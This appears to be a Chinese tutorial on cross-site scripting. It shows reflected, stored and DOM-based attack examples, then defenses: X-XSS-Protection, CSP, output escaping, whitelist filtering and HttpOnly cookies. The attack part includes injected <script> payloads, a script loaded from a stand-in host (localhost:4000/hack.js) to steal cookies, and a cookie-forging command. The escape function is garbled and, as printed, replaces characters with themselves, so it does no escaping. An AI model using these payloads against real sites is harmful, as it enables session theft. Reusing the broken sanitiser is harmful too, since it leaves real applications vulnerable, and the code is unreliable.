XSS攻击和防御手段
XSS攻击:跨站脚本攻击
跨站脚本攻击XSS(Cross Site Scripting),是最普遍的安全漏洞,通过向有安全漏洞的web网站运行非法的非本站的HTML标签和JavaScript脚本进行的一种攻击
XSS攻击方式分类
-
反射型:URL参数直接注入
A.攻击者通过诱导用户点击恶意 URL, URL可能是这样:
http://localhost:3000/?from=<script>alert('我是一段恶意攻击脚本!')</script>
B.服务器接收到参数,将恶意代码取出拼接在用户 HTML 中,用户浏览器接收后进行执行,其中恶意代码 也被执行了。
// 普通 http://localhost:3000/?from=china // alert尝试 http://localhost:3000/?from=<script>alert(3)</script> // 获取Cookie http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> </script> // 短域名伪造 https://dwz.cn/ // 伪造cookie入侵 chrome document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNT Y1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
-
存储型:存储到DB中,运行时执行存储的脚本达到注入目的
假设场景:攻击者在评论中写入一段恶意脚本,其他用户访问评论类别时,恶意脚本便会获取到用户的信息
// 评论 <script>alert(1)</script> // 跨站脚本注入 我来了<script src="http://localhost:4000/hack.js"></script>
-
Dom型:URL参数注入
Dom型攻击和反射型类型类似,通过URL写入恶意脚本,区别是浏览器接受参数并且直接解析
XSS攻击危害
- 获取页面数据
- 获取用户Cookies
- 劫持前端逻辑
- 偷取网站的任意数据
- 偷取用户的资料
- 偷取用户的秘密和登录态
- 欺骗用户
XSS防御手段
-
X-XSS-Protection
HTTP X-XSS-Protection 响应头是 Internet Explorer,Chrome 和 Safari 的一个特性,当检测到跨站脚本攻击 (XSS)时,浏览器将停止加载页面。 配置参数: 0 - 禁止 XSS 过滤。 1 - 启用 XSS 过滤(通常浏览器是默认的)。浏览器检测到攻击后将去除不安全部分 1;mode=block - 启用 XSS 过滤,检测到攻击之后,不会清除不安全部分,而是阻止页面加载 1;report= (Chromium only) - 启用XSS过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用CSP report-uri指令的功能发送违规报告。
-
CSP内容安全策略
内容安全策略(CSP content security Policy)是一个附加的安全层,用户帮助检测和缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入的攻击。CSP本质上就是建立白领单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是浏览器自己实现的,通过这种方式可以减少XSS攻击。
// 只允许加载本站资源 Content-Security-Policy: default-src 'self' // 只允许加载 HTTPS 协议图片 Content-Security-Policy: img-src https://* // 不允许加载任何来源框架 Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy',"default-src 'self'") // 尝试一下外部资源不能加载 http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> </script>
-
转义字符
黑名单
用户输入的永远不可信任,最普遍的做法就是转义输入输出内容,对于引号,尖括号,斜杠进行转义
function escape(str) { str = str.replace(/&/g, '&') str = str.replace(/</g, '<') str = str.replace(/>/g, '>') str = str.replace(/"/g, '&quto;') str = str.replace(/'/g, ''') str = str.replace(/`/g, '`') str = str.replace(/\//g, '/') return str }
对于富文本来说,显然不能通过上述的方法转义所有的字符,因为这样会把已有的格式给转义掉。这种情况需要通过白名单的方式过滤,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。
白名单
const xss = require('xss') let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>') // --> <h1>XSS Demo</h1><script>alert("xss");</script> console.log(html)
-
httpOnly Cookie
这是预防XSS攻击截取用户cookie最有效的防御手段。web应用程序在设置Cookie时,将其属性设置为HttpOnly,就可以避免网页的Cookie被客户端恶意的javascript窃取,从而保护用户cookie信息
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")